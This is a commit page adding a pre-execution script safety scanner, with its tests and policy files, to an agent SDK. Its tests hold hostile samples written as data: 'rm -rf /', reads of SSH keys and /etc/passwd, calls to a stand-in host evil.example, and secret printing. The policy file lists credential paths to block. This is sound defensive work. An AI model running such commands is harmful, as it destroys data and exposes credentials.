Skip to content

Commit 6bccd36

Browse files
committed
add tool script safety guard
1 parent e113610 commit 6bccd36

11 files changed

Lines changed: 830 additions & 0 deletions

File tree

docs/tool_script_safety.md

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
# Tool Script Safety Guard
2+
3+
`trpc_agent_sdk.tools.safety` 在脚本执行前进行快速静态扫描,支持 Python 与 Bash,输出
4+
`allow``deny``needs_human_review`。规则覆盖危险文件操作、敏感路径、网络外连、进程创建、
5+
依赖安装、资源滥用及秘密泄漏。规则命中包含风险类型、级别、规则 ID、证据、行号和处理建议。
6+
7+
## 使用与接入
8+
9+
```python
10+
from trpc_agent_sdk.tools.safety import JsonlAuditSink, ToolSafetyGuard
11+
from trpc_agent_sdk.tools.safety import ToolSafetyRequest, ToolScriptSafetyScanner
12+
13+
scanner = ToolScriptSafetyScanner.from_policy_file("tool_safety_policy.yaml")
14+
guard = ToolSafetyGuard(scanner, JsonlAuditSink("tool_safety_audit.jsonl"))
15+
result = await guard.run(
16+
ToolSafetyRequest(tool_name="python", script=code, language="python"),
17+
lambda: execute_in_sandbox(code),
18+
)
19+
```
20+
21+
所有 `BaseTool` 均经过 Filter 链。向 Tool、MCP Tool 或 Skill 背后的 Tool 添加注册名
22+
`tool_script_safety`,即可在 `_run_async_impl` 或 CodeExecutor 真正运行前检查 `script``code`
23+
`command` 参数。`needs_human_review` 默认暂停执行;调用方完成审批后可传
24+
`human_approved=True`。命令行可运行:
25+
26+
```bash
27+
python scripts/tool_safety_check.py --file job.py --language python
28+
python scripts/tool_safety_check.py --command "curl https://api.example.com/health"
29+
```
30+
31+
策略 YAML 可直接修改域名白名单、允许命令、禁止路径、超时和最大输出大小,无需改代码。
32+
每次 Guard 检查可写 JSONL 审计事件,并在当前 OpenTelemetry span 设置
33+
`tool.safety.decision``tool.safety.risk_level``tool.safety.rule_id`、耗时和拦截状态。
34+
35+
## 安全边界与扩展
36+
37+
这是执行前的 Filter,不是沙箱。静态规则会有误报,也可能被编码、动态拼接、别名、间接导入、
38+
运行时下载或未知解释器绕过;它不能限制 CPU、内存、文件系统、网络和子进程。生产环境仍应让
39+
CodeExecutor 在最小权限沙箱内运行,并同时设置进程超时、输出上限、网络策略和凭据隔离。
40+
新增规则时在 scanner 中追加窄匹配并返回稳定 rule ID,同时添加安全与危险对照样本;高风险规则
41+
应优先拒绝,不确定行为应进入人工复核。

scripts/tool_safety_check.py

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
#!/usr/bin/env python3
2+
"""Scan a Python file or Bash command and print a JSON safety report."""
3+
4+
from __future__ import annotations
5+
6+
import argparse
7+
import json
8+
import sys
9+
from pathlib import Path
10+
11+
# Make the source checkout runnable without requiring an editable install.
12+
sys.path.insert(0, str(Path(__file__).resolve().parents[1]))
13+
14+
from trpc_agent_sdk.tools.safety import ToolSafetyRequest
15+
from trpc_agent_sdk.tools.safety import ToolScriptSafetyScanner
16+
17+
18+
def main() -> int:
19+
parser = argparse.ArgumentParser(description=__doc__)
20+
source = parser.add_mutually_exclusive_group(required=True)
21+
source.add_argument("--file", type=Path, help="Python or shell script to scan")
22+
source.add_argument("--command", help="Shell command to scan")
23+
parser.add_argument("--policy", type=Path, default=Path("tool_safety_policy.yaml"))
24+
parser.add_argument("--tool-name", default="script_check")
25+
parser.add_argument("--language", choices=("auto", "python", "bash", "shell"), default="auto")
26+
args = parser.parse_args()
27+
28+
script = args.file.read_text(encoding="utf-8") if args.file else args.command
29+
language = args.language
30+
if language == "auto" and args.file:
31+
language = "python" if args.file.suffix == ".py" else "bash"
32+
scanner = ToolScriptSafetyScanner.from_policy_file(args.policy)
33+
report = scanner.scan(
34+
ToolSafetyRequest(tool_name=args.tool_name, script=script, language=language)
35+
)
36+
print(json.dumps(report.model_dump(mode="json"), ensure_ascii=False, indent=2))
37+
return 0 if report.decision.value == "allow" else 2
38+
39+
40+
if __name__ == "__main__":
41+
raise SystemExit(main())
Lines changed: 149 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,149 @@
1+
# Tencent is pleased to support the open source community by making tRPC-Agent-Python available.
2+
#
3+
# Copyright (C) 2026 Tencent. All rights reserved.
4+
#
5+
# tRPC-Agent-Python is licensed under Apache-2.0.
6+
"""Acceptance tests for Tool Script Safety Guard."""
7+
8+
from __future__ import annotations
9+
10+
import json
11+
import time
12+
13+
import pytest
14+
15+
from trpc_agent_sdk.abc import FilterResult
16+
from trpc_agent_sdk.tools.safety import JsonlAuditSink
17+
from trpc_agent_sdk.tools.safety import SafetyDecision
18+
from trpc_agent_sdk.tools.safety import ToolSafetyBlockedError
19+
from trpc_agent_sdk.tools.safety import ToolSafetyGuard
20+
from trpc_agent_sdk.tools.safety import ToolSafetyPolicy
21+
from trpc_agent_sdk.tools.safety import ToolSafetyRequest
22+
from trpc_agent_sdk.tools.safety import ToolSafetyResourceLimitError
23+
from trpc_agent_sdk.tools.safety import ToolScriptSafetyFilter
24+
from trpc_agent_sdk.tools.safety import ToolScriptSafetyScanner
25+
26+
27+
@pytest.fixture
28+
def scanner() -> ToolScriptSafetyScanner:
29+
return ToolScriptSafetyScanner(
30+
ToolSafetyPolicy(
31+
allowed_domains=["api.example.com"],
32+
allowed_commands=["echo", "pwd", "ls", "cat", "grep", "curl"],
33+
)
34+
)
35+
36+
37+
@pytest.mark.parametrize(
38+
("name", "language", "script", "decision", "rule_id"),
39+
[
40+
("safe_python", "python", "items = [1, 2, 3]\nprint(sum(items))", "allow", None),
41+
("dangerous_delete", "bash", "rm -rf /", "deny", "FILE_DESTRUCTIVE"),
42+
("read_ssh_key", "python", "print(open('~/.ssh/id_rsa').read())", "deny", "PATH_FORBIDDEN"),
43+
("network_egress", "python", "requests.get('https://evil.example/collect')", "deny",
44+
"NET_DOMAIN_NOT_ALLOWED"),
45+
("allowed_network", "python", "requests.get('https://api.example.com/health')", "allow", None),
46+
("subprocess", "python", "subprocess.run(['git', 'status'])", "needs_human_review", "PROCESS_SPAWN"),
47+
("shell_injection", "bash", "echo safe; cat /etc/passwd", "deny", "SHELL_CONTROL_OPERATOR"),
48+
("dependency_install", "bash", "pip install untrusted", "deny", "DEPENDENCY_INSTALL"),
49+
("infinite_loop", "python", "while True:\n pass", "deny", "RESOURCE_INFINITE_LOOP"),
50+
("secret_output", "python", "print('api_key=' + api_key)", "deny", "SECRET_EXPOSURE"),
51+
("bash_pipeline", "bash", "cat input.txt | grep token", "needs_human_review", "SHELL_PIPELINE_REVIEW"),
52+
("dynamic_network", "python", "url = input()\nrequests.get(url)", "needs_human_review",
53+
"NET_DYNAMIC_DESTINATION"),
54+
],
55+
)
56+
def test_public_samples(scanner, name, language, script, decision, rule_id):
57+
report = scanner.scan(ToolSafetyRequest(tool_name=name, script=script, language=language))
58+
assert report.decision.value == decision
59+
if rule_id:
60+
assert rule_id in report.rule_ids
61+
finding = next(item for item in report.findings if item.rule_id == rule_id)
62+
assert finding.evidence
63+
assert finding.recommendation
64+
65+
66+
def test_policy_reload_changes_domain_path_and_command(tmp_path):
67+
policy_file = tmp_path / "policy.yaml"
68+
policy_file.write_text(
69+
"allowed_domains: [internal.example]\n"
70+
"allowed_commands: [status]\n"
71+
"forbidden_paths: [/sensitive]\n",
72+
encoding="utf-8",
73+
)
74+
scanner = ToolScriptSafetyScanner.from_policy_file(policy_file)
75+
report = scanner.scan(
76+
ToolSafetyRequest(tool_name="x", script="status", language="bash")
77+
)
78+
assert report.decision == SafetyDecision.ALLOW
79+
assert scanner.scan(ToolSafetyRequest(
80+
tool_name="x", script="curl https://internal.example/ok", language="python"
81+
)).decision == SafetyDecision.ALLOW
82+
assert "PATH_FORBIDDEN" in scanner.scan(ToolSafetyRequest(
83+
tool_name="x", script="open('/sensitive/key')", language="python"
84+
)).rule_ids
85+
86+
87+
def test_500_line_scan_is_faster_than_one_second(scanner):
88+
script = "\n".join(f"value_{index} = {index}" for index in range(500))
89+
started = time.perf_counter()
90+
report = scanner.scan(ToolSafetyRequest(tool_name="python", script=script, language="python"))
91+
assert time.perf_counter() - started < 1.0
92+
assert report.decision == SafetyDecision.ALLOW
93+
94+
95+
@pytest.mark.asyncio
96+
async def test_guard_blocks_before_execution_and_audits(scanner, tmp_path):
97+
executed = False
98+
99+
async def executor():
100+
nonlocal executed
101+
executed = True
102+
103+
audit_path = tmp_path / "audit.jsonl"
104+
guard = ToolSafetyGuard(scanner, JsonlAuditSink(audit_path))
105+
with pytest.raises(ToolSafetyBlockedError):
106+
await guard.run(
107+
ToolSafetyRequest(tool_name="bash", script="rm -rf /", language="bash"),
108+
executor,
109+
)
110+
assert not executed
111+
event = json.loads(audit_path.read_text(encoding="utf-8"))
112+
assert event["tool_name"] == "bash"
113+
assert event["blocked"] is True
114+
assert event["redacted"] is False
115+
assert "FILE_DESTRUCTIVE" in event["rule_id"]
116+
117+
118+
@pytest.mark.asyncio
119+
async def test_filter_blocks_before_tool_handler():
120+
safety_filter = ToolScriptSafetyFilter()
121+
response = FilterResult()
122+
await safety_filter._before(None, {"command": "wget https://evil.example/x"}, response)
123+
assert response.is_continue is False
124+
assert response.rsp["safety_report"]["decision"] == "deny"
125+
126+
127+
@pytest.mark.asyncio
128+
async def test_guard_enforces_output_limit():
129+
scanner = ToolScriptSafetyScanner(ToolSafetyPolicy(max_output_bytes=4))
130+
guard = ToolSafetyGuard(scanner)
131+
with pytest.raises(ToolSafetyResourceLimitError):
132+
await guard.run(
133+
ToolSafetyRequest(tool_name="safe", script="print('ok')", language="python"),
134+
lambda: "12345",
135+
)
136+
137+
138+
def test_sensitive_environment_values_are_not_recorded(scanner):
139+
report = scanner.scan(
140+
ToolSafetyRequest(
141+
tool_name="python",
142+
script="print('done')",
143+
language="python",
144+
environment={"API_KEY": "super-secret-value"},
145+
)
146+
)
147+
serialized = report.model_dump_json()
148+
assert report.redacted is True
149+
assert "super-secret-value" not in serialized

tool_safety_audit.jsonl

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
{"timestamp":"2026-07-13T00:00:00Z","tool_name":"bash","decision":"deny","risk_level":"critical","rule_id":["FILE_DESTRUCTIVE"],"duration_ms":0.2,"redacted":false,"blocked":true}

tool_safety_policy.yaml

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
allowed_domains:
2+
- api.example.com
3+
allowed_commands:
4+
- echo
5+
- pwd
6+
- ls
7+
- cat
8+
- grep
9+
- curl
10+
forbidden_paths:
11+
- ~/.ssh
12+
- .env
13+
- credentials.json
14+
- /etc/shadow
15+
- /root
16+
max_timeout_seconds: 60
17+
max_output_bytes: 1000000
18+
deny_risk_levels:
19+
- critical
20+
- high
21+
review_risk_levels:
22+
- medium

tool_safety_report.json

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
{
2+
"tool_name": "bash",
3+
"decision": "deny",
4+
"risk_level": "critical",
5+
"findings": [
6+
{
7+
"risk_type": "dangerous_file_operation",
8+
"risk_level": "critical",
9+
"rule_id": "FILE_DESTRUCTIVE",
10+
"evidence": "rm -rf /",
11+
"recommendation": "Restrict writes to an isolated workspace and require explicit approval.",
12+
"line": 1
13+
}
14+
],
15+
"rule_ids": ["FILE_DESTRUCTIVE"],
16+
"duration_ms": 0.2,
17+
"redacted": false,
18+
"blocked": true,
19+
"telemetry_attributes": {
20+
"tool.safety.decision": "deny",
21+
"tool.safety.risk_level": "critical",
22+
"tool.safety.rule_id": "FILE_DESTRUCTIVE"
23+
}
24+
}
Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
# Tencent is pleased to support the open source community by making tRPC-Agent-Python available.
2+
#
3+
# Copyright (C) 2026 Tencent. All rights reserved.
4+
#
5+
# tRPC-Agent-Python is licensed under Apache-2.0.
6+
"""Public API for pre-execution tool script safety checks."""
7+
8+
from ._guard import JsonlAuditSink
9+
from ._guard import ToolSafetyBlockedError
10+
from ._guard import ToolSafetyGuard
11+
from ._guard import ToolSafetyResourceLimitError
12+
from ._guard import ToolScriptSafetyFilter
13+
from ._guard import set_safety_span_attributes
14+
from ._models import RiskLevel
15+
from ._models import SafetyDecision
16+
from ._models import SafetyFinding
17+
from ._models import ToolSafetyReport
18+
from ._models import ToolSafetyRequest
19+
from ._policy import ToolSafetyPolicy
20+
from ._scanner import ToolScriptSafetyScanner
21+
22+
__all__ = [
23+
"JsonlAuditSink",
24+
"RiskLevel",
25+
"SafetyDecision",
26+
"SafetyFinding",
27+
"ToolSafetyBlockedError",
28+
"ToolSafetyGuard",
29+
"ToolSafetyPolicy",
30+
"ToolSafetyReport",
31+
"ToolSafetyResourceLimitError",
32+
"ToolSafetyRequest",
33+
"ToolScriptSafetyFilter",
34+
"ToolScriptSafetyScanner",
35+
"set_safety_span_attributes",
36+
]

0 commit comments

Comments
 (0)